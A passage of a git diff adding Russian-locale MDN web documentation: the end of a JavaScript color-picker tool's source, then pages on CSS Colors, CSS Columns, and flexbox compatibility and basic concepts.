+		};
+
+		ColorSample.prototype.deleteSample = function deleteSample() {
+			container.removeChild(this.node);
+			samples[this.uid] = null;
+			nr_samples--;
+		};
+
+		var updateUI = function updateUI() {
+			updateContainerProp();
+
+			var index = 0;
+			var nr = samples.length;
+			for (var i=0; i &lt; nr; i++)
+				if (samples[i] !== null) {
+					samples[i].updatePosition(index);
+					index++;
+				}
+
+			AddSampleButton.updatePosition(index);
+		};
+
+		var deleteSample = function deleteSample(e) {
+			trash_can.parentElement.setAttribute('drag-state', 'none');
+
+			var location = e.dataTransfer.getData('location');
+			if (location !== 'picker-samples')
+				return;
+
+			var sampleID = e.dataTransfer.getData('sampleID');
+			samples[sampleID].deleteSample();
+			console.log(samples);
+
+			updateUI();
+		};
+
+		var createDropSample = function createDropSample() {
+			var sample = document.createElement('div');
+			sample.id = 'drop-effect-sample';
+			sample.className = 'sample';
+			container.appendChild(sample);
+		};
+
+		var setActivateSample = function setActivateSample(e) {
+			if (e.target.className !== 'sample')
+				return;
+
+			unsetActiveSample(active);
+			Tool.unsetVoidSample();
+			CanvasSamples.unsetActiveSample();
+			active = samples[e.target.getAttribute('sample-id')];
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var updateContainerProp = function updateContainerProp() {
+			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
+			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
+			container.style.height = height + 10 + 'px';
+		};
+
+		var AddSampleButton = (function AddSampleButton() {
+			var node;
+			var _index = 0;
+			var _posX;
+			var _posY;
+
+			var updatePosition = function updatePosition(index) {
+				_index = index;
+				_posY = 5 + ((index / samples_per_line) | 0) * 52;
+				_posX = 5 + ((index % samples_per_line) | 0) * 52;
+
+				node.style.top  = _posY + 'px';
+				node.style.left = _posX + 'px';
+			};
+
+			var addButtonClick = function addButtonClick() {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+				updatePosition(_index + 1);
+				updateUI();
+			};
+
+			var init = function init() {
+				node = document.createElement('div');
+				var icon = document.createElement('div');
+
+				node.className = 'sample';
+				icon.id = 'add-icon';
+				node.appendChild(icon);
+				node.addEventListener('click', addButtonClick);
+
+				updatePosition(0);
+				container.appendChild(node);
+			};
+
+			return {
+				init : init,
+				updatePosition : updatePosition
+			};
+		})();
+
+		var init = function init() {
+			container = getElemById('picker-samples');
+			trash_can = getElemById('trash-can');
+
+			AddSampleButton.init();
+
+			for (var i=0; i&lt;16; i++) {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+			}
+
+			AddSampleButton.updatePosition(samples.length);
+			updateUI();
+
+			active = samples[0];
+			active.activate();
+
+			container.addEventListener('click', setActivateSample);
+
+			trash_can.addEventListener('dragover', allowDropEvent);
+			trash_can.addEventListener('dragenter', function() {
+				this.parentElement.setAttribute('drag-state', 'enter');
+			});
+			trash_can.addEventListener('dragleave', function(e) {
+				this.parentElement.setAttribute('drag-state', 'none');
+			});
+			trash_can.addEventListener('drop', deleteSample);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)
+					active.updateColor(color);
+			});
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	/**
+	 * Canvas Samples
+	 */
+	var CanvasSamples = (function CanvasSamples() {
+
+		var active = null;
+		var canvas = null;
+		var samples = [];
+		var zindex = null;
+		var tutorial = true;
+
+		var CanvasSample = function CanvasSample(color, posX, posY) {
+
+			var node = document.createElement('div');
+			var pick = document.createElement('div');
+			var delete_btn = document.createElement('div');
+			node.className = 'sample';
+			pick.className = 'pick';
+			delete_btn.className = 'delete';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = color;
+			this.updateBgColor();
+			this.zIndex = 1;
+
+			node.style.top = posY - 50 + 'px';
+			node.style.left = posX - 50 + 'px';
+			node.setAttribute('sample-id', this.uid);
+
+			node.appendChild(pick);
+			node.appendChild(delete_btn);
+
+			var activate = function activate() {
+				setActiveSample(this);
+			}.bind(this);
+
+			node.addEventListener('dblclick', activate);
+			pick.addEventListener('click', activate);
+			delete_btn.addEventListener('click', this.deleteSample.bind(this));
+
+			UIComponent.makeDraggable(node);
+			UIComponent.makeResizable(node);
+
+			samples.push(this);
+			canvas.appendChild(node);
+			return this;
+		};
+
+		CanvasSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		CanvasSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
+			this.zIndex = value;
+			this.node.style.zIndex = value;
+		};
+
+		CanvasSample.prototype.activate = function activate() {
+			this.node.setAttribute('data-active', 'true');
+			zindex.setAttribute('data-active', 'true');
+
+			UIColorPicker.setColor('picker', this.color);
+			InputSliderManager.setValue('z-index', this.zIndex);
+		};
+
+		CanvasSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+			zindex.removeAttribute('data-active');
+		};
+
+		CanvasSample.prototype.deleteSample = function deleteSample() {
+			if (active === this)
+				unsetActiveSample();
+			canvas.removeChild(this.node);
+			samples[this.uid] = null;
+		};
+
+		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
+			this.node.style.top = posY - this.startY + 'px';
+			this.node.style.left = posX - this.startX + 'px';
+		};
+
+		var canvasDropEvent = function canvasDropEvent(e) {
+			var color = Tool.getSampleColorFrom(e);
+
+			if (color) {
+				var offsetX = e.pageX - canvas.offsetLeft;
+				var offsetY = e.pageY - canvas.offsetTop;
+				var sample = new CanvasSample(color, offsetX, offsetY);
+				if (tutorial) {
+					tutorial = false;
+					canvas.removeAttribute('data-tutorial');
+					var info = new CanvasSample(new Color(), 100, 100);
+					info.node.setAttribute('data-tutorial', 'dblclick');
+				}
+			}
+
+		};
+
+		var setActiveSample = function setActiveSample(sample) {
+			ColorPickerSamples.unsetActiveSample();
+			Tool.unsetVoidSample();
+			unsetActiveSample();
+			active = sample;
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var createToggleBgButton = function createToggleBgButton() {
+			var button = document.createElement('div');
+			var state = false;
+			button.className = 'toggle-bg';
+			canvas.appendChild(button);
+
+			button.addEventListener('click', function() {
+				console.log(state);
+				state = !state;
+				canvas.setAttribute('data-bg', state);
+			});
+		};
+
+		var init = function init() {
+			canvas = getElemById('canvas');
+			zindex = getElemById('zindex');
+
+			canvas.addEventListener('dragover', allowDropEvent);
+			canvas.addEventListener('drop', canvasDropEvent);
+
+			createToggleBgButton();
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)	active.updateColor(color);
+			});
+
+			InputSliderManager.subscribe('z-index', function (value) {
+				if (active)	active.updateZIndex(value);
+			});
+
+			UIComponent.makeResizable(canvas, 'height');
+		};
+
+		return {
+			init : init,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	var StateButton = function StateButton(node, state) {
+		this.state = false;
+		this.callback = null;
+
+		node.addEventListener('click', function() {
+			this.state = !this.state;
+			if (typeof this.callback === "function")
+				this.callback(this.state);
+		}.bind(this));
+	};
+
+	StateButton.prototype.set = function set() {
+		this.state = true;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.unset = function unset() {
+		this.state = false;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.subscribe = function subscribe(func) {
+		this.callback = func;
+	};
+
+
+	/**
+	 * Tool
+	 */
+	var Tool = (function Tool() {
+
+		var samples = [];
+		var controls = null;
+		var void_sw;
+
+		var createPickerModeSwitch = function createPickerModeSwitch() {
+			var parent = getElemById('controls');
+			var icon = document.createElement('div');
+			var button = document.createElement('div');
+			var hsv = document.createElement('div');
+			var hsl = document.createElement('div');
+			var active = null;
+
+			icon.className = 'icon picker-icon';
+			button.className = 'switch';
+			button.appendChild(hsv);
+			button.appendChild(hsl);
+
+			hsv.textContent = 'HSV';
+			hsl.textContent = 'HSL';
+
+			active = hsl;
+			active.setAttribute('data-active', 'true');
+
+			function switchPickingModeTo(elem) {
+				active.removeAttribute('data-active');
+				active = elem;
+				active.setAttribute('data-active', 'true');
+				UIColorPicker.setPickerMode('picker', active.textContent);
+			};
+
+			var picker_sw = new StateButton(icon);
+			picker_sw.subscribe(function() {
+				if (active === hsv)
+					switchPickingModeTo(hsl);
+				else
+					switchPickingModeTo(hsv);
+			});
+
+			hsv.addEventListener('click', function() {
+				switchPickingModeTo(hsv);
+			});
+			hsl.addEventListener('click', function() {
+				switchPickingModeTo(hsl);
+			});
+
+			parent.appendChild(icon);
+			parent.appendChild(button);
+		};
+
+		var setPickerDragAndDrop = function setPickerDragAndDrop() {
+			var preview = document.querySelector('#picker .preview-color');
+			var picking_area = document.querySelector('#picker .picking-area');
+
+			preview.setAttribute('draggable', 'true');
+			preview.addEventListener('drop', drop);
+			preview.addEventListener('dragstart', dragStart);
+			preview.addEventListener('dragover', allowDropEvent);
+
+			picking_area.addEventListener('drop', drop);
+			picking_area.addEventListener('dragover', allowDropEvent);
+
+			function drop(e) {
+				var color = getSampleColorFrom(e);
+				UIColorPicker.setColor('picker', color);
+			};
+
+			function dragStart(e) {
+				e.dataTransfer.setData('sampleID', 'picker');
+				e.dataTransfer.setData('location', 'picker');
+			};
+		};
+
+		var getSampleColorFrom = function getSampleColorFrom(e) {
+			var sampleID = e.dataTransfer.getData('sampleID');
+			var location = e.dataTransfer.getData('location');
+
+			if (location === 'picker')
+				return UIColorPicker.getColor(sampleID);
+			if (location === 'picker-samples')
+				return ColorPickerSamples.getSampleColor(sampleID);
+			if (location === 'palette-samples')
+				return ColorPalette.getSampleColor(sampleID);
+		};
+
+		var setVoidSwitch = function setVoidSwitch() {
+			var void_sample = getElemById('void-sample');
+			void_sw = new StateButton(void_sample);
+			void_sw.subscribe( function (state) {
+				void_sample.setAttribute('data-active', state);
+				if (state === true) {
+					ColorPickerSamples.unsetActiveSample();
+					CanvasSamples.unsetActiveSample();
+				}
+			});
+		};
+
+		var unsetVoidSample = function unsetVoidSample() {
+			void_sw.unset();
+		};
+
+		var init = function init() {
+			controls = getElemById('controls');
+
+			var color = new Color();
+			color.setHSL(0, 51, 51);
+			UIColorPicker.setColor('picker', color);
+
+			setPickerDragAndDrop();
+			createPickerModeSwitch();
+			setVoidSwitch();
+		};
+
+		return {
+			init : init,
+			unsetVoidSample : unsetVoidSample,
+			getSampleColorFrom : getSampleColorFrom
+		};
+
+	})();
+
+	var init = function init() {
+		UIColorPicker.init();
+		InputSliderManager.init();
+		ColorInfo.init();
+		ColorPalette.init();
+		ColorPickerSamples.init();
+		CanvasSamples.init();
+		Tool.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+</pre>
+</div>
+
+
+<p>{{CSSRef}}</p>
+
+<p>Этот инструмент позволяет легко создавать, настраивать и экспериментировать с пользовательскими цветами для использования в интернете. Он также позволяет легко конвертировать цвета в различные форматы, поддерживаемые CSS, в том числе: шестнадцатеричный формат, RGB (красный / зеленый / синий) и HSL (Цветовой тон / Насыщенность / Яркость). Контроль над альфа-каналом (прозрачностью) поддерживается в форматах RGB (RGBA) и HSL (HSLA).</p>
+
+<p>Каждый цвет во время настройки представлен во всех 3-х стандартных форматах CSS, и, кроме того, на основе текущего выбранного цвета генерируется палитра для HSL, HSV и альфа-канала. Кнопкой "пипетка" можно переключаться между HSL или HSV форматами.</p>
+
+<p>{{ EmbedLiveSample('ColorPicker_Tool', '100%', '900') }}</p>
+
+<p> </p>
diff --git a/files/ru/web/css/css_colors/index.html b/files/ru/web/css/css_colors/index.html
new file mode 100644
index 0000000000..065d14a98c
--- /dev/null
+++ b/files/ru/web/css/css_colors/index.html
@@ -0,0 +1,116 @@
+---
+title: CSS Colors
+slug: Web/CSS/CSS_Colors
+tags:
+  - CSS
+  - Цвета
+  - Цвета в CSS
+translation_of: Web/CSS/CSS_Color
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Colors</strong> - модуль в CSS, который работает с цветами, типами цветов и прозрачностью.</p>
+
+<h2 id="Руководство">Руководство</h2>
+
+<h3 id="Свойства">Свойства</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+</ul>
+</div>
+
+<h3 id="Типы_данных_в_CSS">Типы данных в CSS</h3>
+
+<p>{{cssxref("&lt;color&gt;")}}</p>
+
+<h2 id="Руководства">Руководства</h2>
+
+<p><em>Нет.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Colors')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>В CSS градиенты не цвета, а <a href="/en-US/docs/Web/CSS/CSS_Images">изображения</a>.</li>
+</ul>
diff --git a/files/ru/web/css/css_columns/index.html b/files/ru/web/css/css_columns/index.html
new file mode 100644
index 0000000000..ea227ced5d
--- /dev/null
+++ b/files/ru/web/css/css_columns/index.html
@@ -0,0 +1,114 @@
+---
+title: CSS Columns
+slug: Web/CSS/CSS_Columns
+tags:
+  - CSS
+  - CSS Reference
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/CSS/CSS_Columns
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Columns</strong> is a module of CSS that defines a multi-column layout, allowing to express how content should flow between columns and how gaps and rules are handled.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("break-after")}}</li>
+ <li>{{cssxref("break-before")}}</li>
+ <li>{{cssxref("break-inside")}}</li>
+ <li>{{cssxref("column-count")}}</li>
+ <li>{{cssxref("column-fill")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("column-rule")}}</li>
+ <li>{{cssxref("column-rule-color")}}</li>
+ <li>{{cssxref("column-rule-style")}}</li>
+ <li>{{cssxref("column-rule-width")}}</li>
+ <li>{{cssxref("column-span")}}</li>
+ <li>{{cssxref("column-width")}}</li>
+ <li>{{cssxref("columns")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Columns/Using_multi-column_layouts">Using CSS multi-column layouts</a></dt>
+ <dd>Step-by-step tutorial about how to build layouts using several columns.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix('-webkit')}}</td>
+   <td>{{CompatGeckoDesktop(9)}}{{property_prefix('-moz')}}</td>
+   <td>10</td>
+   <td>11.1<br>
+    15{{property_prefix('-webkit')}}</td>
+   <td>3.0 (522){{property_prefix('-webkit')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1{{property_prefix('-webkit')}}</td>
+   <td>{{compatGeckoMobile(22)}}{{property_prefix('-moz')}}</td>
+   <td>10</td>
+   <td>11.5<br>
+    32{{property_prefix('-webkit')}}</td>
+   <td>3.2{{property_prefix('-webkit')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html
new file mode 100644
index 0000000000..8a4e3ce28b
--- /dev/null
+++ b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html
@@ -0,0 +1,112 @@
+---
+title: Обратная совместимость Flexbox
+slug: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Flexbox очень хорошо поддерживается современными браузерами, однако есть несколько проблем, с которыми вы могли столкнуться. В этом руководстве мы рассмотрим, насколько хорошо flexbox поддерживается браузерами, а так же некоторые потенциальные проблемы, ресурсы и методы для создания обходных путей и запасных вариантов.</p>
+
+<h2 id="История_flexbox">История flexbox</h2>
+
+<p>Как  и все спецификации CSS, flexbox претерпела огромное количество изменений, прежде чем стать Кандидатом в рекомендации W3C. У спецификации в этом статусе не должно быть значительных изменений, однако с предыдущими итерациями все было иначе.</p>
+
+<p>Flexbox был реализован экспериментальным путем в нескольких браузерах. В то время метод создания экспериментальных реализаций подразумевал использование вендорных префиксов. Идея этих префиксов была в том, чтобы позволить инженерам браузеров и веб-разработчикам исследовать и протестировать новшества спецификации без конфликтов с другими реализациями. Идея заключалась в том, чтобы не использовать экспериментальные реализации на продакшене. Однако, в конечном счете префиксы всеравно попали в продакшн, и изменения в экспериментальной спецификации вынудили людей обновлять сайты, чтобы этой самой спецификации соответствовать.</p>
+
+<p><a href="https://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">В 2009</a> спецификация выглядела совсем по-другому. Чтобы создать flex-контейнер, вам нужно было использовать <code>display: box</code> и несколько <code>box-*</code> свойств, которые делали то, что сегодня вы понимаете под flexbox.</p>
+
+<p>Очередное <a href="https://www.w3.org/TR/2012/WD-css3-flexbox-20120322/">обновление</a> спецификации поменяло синтаксис на <code>display: flexbox</code> — и опять с вендорными префиксами.</p>
+
+<p>В конечном счете спецификация была обновлена, чтобы определить <code>display: flex</code> как способ создания flex-контейнера. Начиная с этого момента поддержка браузерами обновленной версии спецификации отличная.</p>
+
+<p>Существует несколько старых статей, которые описывают более ранние версии flexbox, их довольно легко вычислить по тому, как они описывают создание flex-контейнера. Если вы нашли что-то вроде  <code>display: box</code> или <code>display: flexbox</code>, то это уже устаревшая информация.</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>Браузеры отлично поддерживают flexbox, и на данный момент большинству из них не нужны префиксы для этого. Safari последним из основных браузеров избавился от префиксов после релиза Safari 9 в 2015. Два браузера, о которых вам нужно помнить для обеспечения кроссбраузерности, это:</p>
+
+<ul>
+ <li>Internet Explorer 10, который внедрил <code>display: flexbox</code> версию спецификации с префиксом <code>-ms-</code>.</li>
+ <li>UC Browser, который все еще поддерживает спецификацию версии 2009 год с <code>display: box</code> и префиксом <code>-webkit-</code>.</li>
+</ul>
+
+<p>Также возьмите на заметку, что Explorer 11 поддерживает современный <code>display: flex,</code> однако не без багов.</p>
+
+<h2 id="Common_issues">Common issues</h2>
+
+<p>The majority of issues with flexbox relate to the changes in the specification, as it has been developed, and the fact that many of us were attempting to use an experimental specification in production. If you are trying to ensure backwards compatibility with old versions of browsers, and in particular IE10 and 11, the <a href="https://github.com/philipwalton/flexbugs">Flexbugs</a> site is a helpful resource. You will see that many of the listed bugs apply to old browser versions and are fixed in current browsers. Each of the bugs has a workaround listed — which can save you many hours of puzzling.</p>
+
+<p>If you want to include very old browsers with flexbox support then you can include the vendor prefixes in your CSS in addition to the unprefixed version. This is becoming less and less of a requirement today as support is widespread.<code> </code></p>
+
+<pre class="brush: css">.wrapper {
+  display: -webkit-box;
+  display: -webkit-flex;
+  display: -ms-flexbox;
+  display: flex;
+}</pre>
+
+<p><a href="https://autoprefixer.github.io/">Autoprefixer Online</a> is a useful way to see which prefixes are recommended, depending on how many versions you wish to go back with browser support. You can also check <a href="https://caniuse.com/#feat=flexbox">Can I Use</a> for information about when prefixes were removed in browsers to make your decision.</p>
+
+<h2 id="Useful_fallback_techniques">Useful fallback techniques</h2>
+
+<p>Given that flexbox usage is initiated with value of the {{cssxref("display")}} property, when needing to support very old browsers which do not support flexbox at all, fallbacks can be created by overwriting one layout method with another. The specification defines what happens if you use other layout methods on an element which then becomes a flex item.</p>
+
+<h3 id="Floated_items">Floated items</h3>
+
+<blockquote>
+<p>“float and clear do not create floating or clearance of flex item, and do not take it out-of-flow.” - <a href="https://www.w3.org/TR/css-flexbox-1/#flex-containers">3. Flex Containers</a></p>
+</blockquote>
+
+<p>In the following live example, I have floated two blocks and then set <code>display: flex</code> on the container. The items are now flex items, which means they stretch to equal height. Any float behaviour does not apply.</p>
+
+<p>You can test the fallback behaviour by removing <code>display: flex</code> from the wrapper.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/browsers/float.html", '100%', 550)}}</p>
+
+<h3 id="display_inline-block">display: inline-block</h3>
+
+<p>Once an <code>inline-block</code> item becomes a flex item, it is <code>block</code>ified and so behavior of <code>display: inline-block</code> like preserving white space between items no longer applies.</p>
+
+<p>Remove <code>display: flex</code> to see the fallback behavior. You'll see white space added between the items, which is what happens when using <code>display: inine-block</code> as it prefers white space like other inline items.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/browsers/inline-block.html", '100%', 550)}}</p>
+
+<h3 id="display_table-">display: table-<em> </em></h3>
+
+<p>The CSS table display properties are potentially very useful as a fallback, due to the fact that they allow design patterns such as full height columns and vertical centering and work back as far as Internet Explorer 8.</p>
+
+<p>If you use <code>display: table-cell</code> on an item in your HTML it takes on the styling of an HTML table cell. CSS creates anonymous boxes to represent these items so that you do not need to wrap each item in a wrapper to represent the HTML table row, and a second one to represent the table element itself, You can’t see or style these anonymous boxes; they are there purely to fix up the tree.</p>
+
+<p>If you then declare <code>display: flex</code> on the parent item, these anonymous boxes do not get created and so your item remains a direct child and can become a flex item — losing any of the table display features.</p>
+
+<blockquote>
+<p>“Note: Some values of display normally trigger the creation of anonymous boxes around the original box. If such a box is a flex item, it is blockified first, and so anonymous box creation will not happen. For example, two contiguous flex items with display: table-cell will become two separate display: block flex items, instead of being wrapped into a single anonymous table.” - <a href="https://www.w3.org/TR/css-flexbox-1/#flex-items">4. Flex Items</a></p>
+</blockquote>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/browsers/table-cell.html", '100%', 550)}}</p>
+
+<h3 id="The_vertical-align_property">The vertical-align property</h3>
+
+<p>The live example below demonstrates use of the {{cssxref("vertical-align")}} property along with <code>display: inline-block</code>. Both <code>display: table-cell</code> and <code>display: inline-block</code> allow for the use of this property. Use of <code>vertical-align</code> enables vertical alignment prior to flexbox. The property is ignored by flexbox and so you can use it in conjunction with <code>display: table-cell</code> or <code>display: inline-block</code> as a fallback and then safely use box alignment properties in flexbox instead.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/browsers/vertical-align.html", '100%', 550)}}</p>
+
+<h2 id="Feature_Queries_and_flexbox">Feature Queries and flexbox</h2>
+
+<p>You can use <a href="/en-US/docs/Web/CSS/%40supports">feature queries</a> to detect flexbox support:</p>
+
+<pre class="brush: css">@supports (display: flex) {
+  // code for supporting browsers
+}</pre>
+
+<p>Note that Internet Explorer 11 does not support feature queries yet <em>does</em> support flexbox. If you decide the IE11 implementation is too buggy and you wish to serve it the fallback layout then you could use feature queries to serve flexbox rules only to those browsers with good flexbox support. Remember that if you want to include versions of browsers that had vendor-prefixed flexbox you would need to include the prefixed version in your feature query. The following feature query would include UC Browser, which supports feature queries and old flexbox syntax, prefixed:</p>
+
+<pre class="brush: css">@supports (display: flex) or (display: -webkit-box) {
+  // code for supporting browsers
+}</pre>
+
+<p>For more information about using Feature Queries see <a href="https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/">Using Feature Queries in CSS</a> on the Mozilla Hacks blog.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>While I’ve spent some time in this guide going through potential issues and fallbacks, flexbox is very much ready for you to be using in production work. This guide will help you in those cases where you do come across an issue or have the requirement to support older browsers.</p>
diff --git a/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
new file mode 100644
index 0000000000..347d429eb4
--- /dev/null
+++ b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
@@ -0,0 +1,228 @@
+---
+title: Основные понятия Flexbox
+slug: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><strong>CSS модуль раскладки Flexible Box</strong>, обычно называемый флексбокс или flexbox или просто flex (флекс), был разработан как модель одномерного-направленного макета и как один из методов распределения пространства между элементами в интерфейсе, с мощными возможностями выравнивания. В этой статье дается краткое описание основных функций flexbox, которые мы рассмотрим более подробно в остальных руководствах.</p>
+
+<p>Когда мы описываем flexbox как одномерно-направленный, мы  имеем в виду, что flexbox имеет дело с макетом в одной плоскости за раз – либо в виде строки, либо в виде столбца. Как альтернативу можно упомянуть двумерную модель CSS Grid Layout, которая управляет и столбцами и строками одновременно.</p>
+
+<h2 id="Flexbox_две_оси">Flexbox: две оси</h2>
+
+<p>При работе с flexbox нужно мыслить с точки зрения двух осей – главной оси и побочной оси. Главная ось определяется свойством {{cssxref ("flex-direction")}}, а побочная ось проходит перпендикулярно ей. Все, что мы делаем с flexbox, относится к этим осям, поэтому стоит с самого начала понять, как они работают.</p>
+
+<h3 id="Главная_ось">Главная ось</h3>
+
+<p>Главная ось определяется свойством <code>flex-direction</code>, которая может принимать одно из следующих значений:</p>
+
+<ul>
+ <li><code>row</code></li>
+ <li><code>row-reverse</code></li>
+ <li><code>column</code></li>
+ <li><code>column-reverse</code></li>
+</ul>
+
+<p>Если вы выберете <code>row</code> или <code>row-reverse</code>, ваша главная ось будет проходить в горизонтальном направлении <strong>(inline direction)</strong>.</p>
+
+<p><img alt="If flex-direction is set to row the main axis runs along the row in the inline direction." src="https://mdn.mozillademos.org/files/15614/Basics1.png" style="display: block; height: 152px; margin: 0px auto; width: 522px;"></p>
+
+<p>Если вы выберете <code>column</code> или <code>column-reverse</code>, ваша главная ось будет проходить в вертикальном направлении <strong>(block direction)</strong>.</p>
+
+<p><img alt="If flex-direction is set to column the main axis runs in the block direction." src="https://mdn.mozillademos.org/files/15615/Basics2.png" style="display: block; height: 227px; margin: 0px auto; width: 709px;"></p>
+
+<h3 id="Побочная_ось">Побочная ось</h3>
+
+<p>Побочная ось проходит перпендикулярно главной оси, поэтому, если свойство <code>flex-direction</code> (главная ось) задано как <code>row</code> или <code>row-reverse</code>, побочная ось будет проходить в вертикальном направлении.</p>
+
+<p><img alt="If flex-direction is set to row then the cross axis runs in the block direction." src="https://mdn.mozillademos.org/files/15616/Basics3.png" style="display: block; height: 125px; margin: 0px auto; width: 666px;"></p>
+
+<p>Если свойство <code>flex-direction</code> задано как <code>column</code> или <code>column-reverse</code>, побочная ось будет проходить в горизонтальном направлении.</p>
+
